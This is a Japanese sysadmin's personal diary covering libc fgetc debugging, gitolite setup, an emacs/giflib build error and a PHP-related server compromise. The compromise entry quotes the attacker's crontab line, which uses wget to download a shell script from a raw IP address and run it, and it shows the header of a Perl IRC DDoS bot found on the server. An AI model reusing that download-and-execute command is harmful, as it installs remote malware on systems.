|
Namazu for hns による簡易全文検索 詳しくは 詳細指定/ヘルプを参照して下さい |
||||||||||||||||||||||||||||||||||||||||||||
2014年06月27日(金) 旧暦 [n年日記] [更新:"2014/06/27 23:14:48"]#1 [debug] fgetc Segmentation Fault at malloc#0 0x00007f7ff789df92 in ?? () from /usr/lib/libc.so.12 #1 0x00007f7ff789e3d0 in ?? () from /usr/lib/libc.so.12 #2 0x00007f7ff789e689 in malloc () from /usr/lib/libc.so.12 #3 0x00007f7ff78ed28c in __smakebuf () from /usr/lib/libc.so.12 #4 0x00007f7ff78e24f8 in __srefill () from /usr/lib/libc.so.12 #5 0x00007f7ff78e2384 in __srget () from /usr/lib/libc.so.12 #6 0x00007f7ff7843997 in fgetc () from /usr/lib/libc.so.12これはどういう時かな。確かに読んでいるファイルは大きいのだけれど。 % wc hoge.5itmp 43213 152201 1897759 hoge.5itmp1.9MByte かな。でもそんなにやたらに大きということでもないと思う 次のような文字を教えても google は見向きもしない(ようだ) in malloc () in __smakebuf () in __srefill () in __srget () in fgetc () fromちなみに、次のところで説明されている問題は、まだ理解出来ていない。 fgetc が malloc を(勝手に)呼んでいるとして、そのメモリは、いつ free されるのだろうか ?
上記の答えは、「file descriptor を close すれば、開放される」
112 typedef struct __sFILE {
113 unsigned char *_p; /* current position in (some) buffer */
114 int _r; /* read space left for getc() */
115 int _w; /* write space left for putc() */
116 unsigned short _flags; /* flags, below; this FILE is free if 0 */
117 short _file; /* fileno, if Unix descriptor, else -1 */
118 struct __sbuf _bf; /* the buffer (at least 1 byte, if !NULL) */
119 int _lbfsize; /* 0 or -_bf._size, for inline putc */
120
121 /* operations */
122 void *_cookie; /* cookie passed to io functions */
123 int (*_close)(void *);
124 int (*_read) (void *, char *, int);
125 __off_t (*_seek) (void *, __off_t, int);
126 int (*_write)(void *, const char *, int);
127
128 /* file extension */
129 struct __sbuf _ext;
130
131 /* separate buffer for long sequences of ungetc() */
132 unsigned char *_up; /* saved _p when _p is doing ungetc data */
133 int _ur; /* saved _r when _r is counting ungetc data */
134
135 /* tricks to meet minimum requirements even when malloc() fails */
136 unsigned char _ubuf[3]; /* guarantee an ungetc() buffer */
137 unsigned char _nbuf[1]; /* guarantee a getc() buffer */
138
139 /* Formerly used by fgetln/fgetwln; kept for binary compatibility */
140 struct __sbuf _lb__unused;
141
142 /* Unix stdio files get aligned to block boundaries on fseek() */
143 int _blksize; /* stat.st_blksize (may be != _bf._size) */
144 __off_t _offset; /* current lseek offset */
145 } FILE;
146
lib/libc/stdio/makebuf.c
55 /*
56 * Allocate a file buffer, or switch to unbuffered I/O.
57 * Per the ANSI C standard, ALL tty devices default to line buffered.
58 *
59 * As a side effect, we set __SOPT or __SNPT (en/dis-able fseek
60 * optimisation) right after the fstat() that finds the buffer size.
61 */
62 void
63 __smakebuf(fp)
64 FILE *fp;
65 {
66 void *p;
67 int flags;
68 size_t size;
69 int couldbetty;
70
71 _DIAGASSERT(fp != NULL);
72
73 if (fp->_flags & __SNBF) {
74 fp->_bf._base = fp->_p = fp->_nbuf;
75 fp->_bf._size = 1;
76 return;
77 }
78 flags = __swhatbuf(fp, &size, &couldbetty);
79 if ((p = malloc(size)) == NULL) {
80 fp->_flags |= __SNBF;
81 fp->_bf._base = fp->_p = fp->_nbuf;
82 fp->_bf._size = 1;
83 return;
84 }
85 __cleanup = _cleanup;
86 flags |= __SMBF;
87 fp->_bf._base = fp->_p = p;
88 fp->_bf._size = size;
89 if (couldbetty && isatty(__sfileno(fp)))
90 flags |= __SLBF;
91 fp->_flags |= flags;
92 }
上の中で size が気になる時には __swhatbuf も見る必要がある
94 /*
95 * Internal routine to determine `proper' buffering for a file.
96 */
97 int
98 __swhatbuf(fp, bufsize, couldbetty)
99 FILE *fp;
100 size_t *bufsize;
101 int *couldbetty;
102 {
103 struct stat st;
104
105 _DIAGASSERT(fp != NULL);
106 _DIAGASSERT(bufsize != NULL);
107 _DIAGASSERT(couldbetty != NULL);
108
109 if (__sfileno(fp) == -1 || fstat(__sfileno(fp), &st) < 0) {
110 *couldbetty = 0;
111 *bufsize = BUFSIZ;
112 return (__SNPT);
113 }
114
115 /* could be a tty iff it is a character device */
116 *couldbetty = S_ISCHR(st.st_mode);
117 if (st.st_blksize == 0) {
118 *bufsize = BUFSIZ;
119 return (__SNPT);
120 }
121
122 /*
123 * Optimise fseek() only if it is a regular file. (The test for
124 * __sseek is mainly paranoia.) It is safe to set _blksize
125 * unconditionally; it will only be used if __SOPT is also set.
126 */
127 *bufsize = st.st_blksize;
128 fp->_blksize = st.st_blksize;
129 return ((st.st_mode & S_IFMT) == S_IFREG && fp->_seek == __sseek ?
130 __SOPT : __SNPT);
131 }
st というのは
103 行目
にあるが struct stat の構成要素(member)だ
modena@makoto 23:14:17/140627(/export/src)% (cd include;mkid; gid BUFSIZ) stdio.h:181:#define BUFSIZ 1024 /* size of buffer used by setbuf */というのもある ( つっこみ )
2014年06月22日(日) 旧暦 [n年日記] [更新:"2014/06/23 09:24:48"]#1 [pkgsrc] devel/gitolite を使って見たい (管理側) ので覚えこの説明の中では gl-setup というのが不明。 pkg_info -D gitolite の表示では、以下の 5. が良く分らない gitolite-admin は、まだ用意していないはず
To use gitolite, you will need to perform the following steps.
1. Create a new user/group, for example, git/git.
On server,
# groupadd git
# useradd -m -g git git
2. login with new user git, create ssh public key, and copy public key
file to user git's home directory on server.
On server
$ mkdir ~/.ssh
$ chmod 700 ~/.ssh
On client
$ ssh-keygen -t rsa -f git
$ scp ~/git.pub gitserver:~/
On server
$ chmod 600 ~/git.pub
3. Setup gitolite.
On server,
$ gitolite setup -pk git.pub
And edit config file.
4. Setup ~/.ssh/config on client.
Add the following lines.
host gitserver
user git
hostname RealGitServerName
port 22
identityfile ~/.ssh/git
5. For administrative setting, please clone gitolite-admin repository.
On client,
$ git clone gitserver:gitolite-admin
( つっこみ )
2014年06月14日(土) 旧暦 [n年日記] [更新:"2014/06/15 00:48:11"]#1 emacs-currentimage.c:7417:7: error: too few arguments to function 'DGifCloseFile' /export/CHROOT/usr/pkgsrc/wip/emacs-current/work/.buildlink/include/gif_lib.h:183:9: note: declared herecat -n /export/CHROOT/usr/pkgsrc/wip/emacs-current/work/.buildlink/include/gif_lib.h |sed -n 175,195p 181 int DGifSlurp(GifFileType * GifFile); 182 GifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error); /* new one (TVT) */ 183 int DGifCloseFile(GifFileType * GifFile, int *ErrorCode);cat -n work/emacs/src/image.c | sed -n 7400,7425p
7416 image_error ("Invalid image size (see `max-image-size')", Qnil, Qnil);
7417 fn_DGifCloseFile (gif);
7418 return 0;
image.c:7417:7: error: too few arguments to function 'DGifCloseFile' image.c:7426:7: error: too few arguments to function 'DGifCloseFile' image.c:7438:2: error: too few arguments to function 'DGifCloseFile' image.c:7456:7: error: too few arguments to function 'DGifCloseFile' image.c:7474:4: error: too few arguments to function 'DGifCloseFile' image.c:7482:7: error: too few arguments to function 'DGifCloseFile' image.c:7653:3: error: too few arguments to function 'DGifCloseFile' ( つっこみ )
2014年06月01日(日) 旧暦 [n年日記] [更新:"2014/06/01 10:19:22"]#1 [pkgsrc] DDoS
05/18 の日記
に、「任意の bash or perl script を実行」そして、「一応手当てしたけれど」と書いた
どうもこれは php-5.2.14 が入っていた所為らしい。 crontab を書替えられる、とか、散々だった。 #@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/shこんなものも perl.txt.1 という名前で置いてあった #!/usr/bin/perl ############################################################################# ############################################################################# ## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] #### ## Stealth MultiFunctional IrcBot writen in Perl ############## ## Teste on every system with PERL instlled ## !u @systemそれで次の版に更新した php-5.4.26nb1 PHP Hypertext Preprocessor version 5.4 ap2-php54-5.4.26 Apache (apache2) module for PHP5.4 php54-mysql-5.4.26 PHP extension for MySQL databases php54-pgsql-5.4.26 PHP extension for PostgreSQL databases php54-mbstring-5.4.26 PHP extension for multibyte characters supportこの時に必要だった packages は次の通り -rw-r--r-- 1 makoto wheel 2885641 Jun 1 09:52 openssl-1.0.1gnb1.tgz -rw-r--r-- 1 makoto wheel 22049 Jun 1 09:25 php54-mysql-5.4.26.tgz -rw-r--r-- 1 makoto wheel 2164469 Jun 1 09:24 ap2-php54-5.4.26.tgz -rw-r--r-- 1 makoto wheel 45785 Jun 1 09:02 php54-pgsql-5.4.26.tgz -rw-r--r-- 1 makoto wheel 631550 Jun 1 08:53 php54-mbstring-5.4.26.tgz -rw-r--r-- 1 makoto wheel 4432685 Jun 1 08:52 php-5.4.26nb1.tgz -rw-r--r-- 1 makoto wheel 11736461 Jun 1 08:00 mysql-client-5.5.36nb1.tgz -rw-r--r-- 1 makoto wheel 2940164 Jun 1 07:53 apache-2.0.65nb2.tgz -rw-r--r-- 1 makoto wheel 2822900 Jun 1 07:44 postgresql91-client-9.1.12.tgz -rw-r--r-- 1 makoto wheel 435917 Jun 1 07:21 apr-0.9.20.2.0.65nb1.tgz -rw-r--r-- 1 makoto wheel 2122095 Jun 1 06:34 libxml2-2.9.1nb1.tgz -rw-r--r-- 1 makoto wheel 323576 Mar 22 07:02 xz-5.0.5.tgz他の chrooted の 5.2 の機械で pbulk で作った。その時に使った limited list は次の通り lang/php54 converters/php-mbstring databases/php-mysql databases/php-pgsql www/ap-phpまた (chroot の中の) /etc/mk.conf に次のようにも書いておいた PKG_PHP_VERSION=54 PHP_VERSION_REQD=54pkg_delete -n hoge を使って調べながら、手動で一つづつ入替えた。 (関係あるかな) ( つっこみ )
|
最近の日記 2025年10月23日 ・dd does not duplicate Windows 11 boot disk ? 2025年10月04日 ・pkgin search pkgname segfaults 2025年08月16日 ・installboot (Although it’s too late) 2025年07月20日 ・network setup from qemnu 2025年06月13日 ・Let's Note CF-SV8 ・ | ||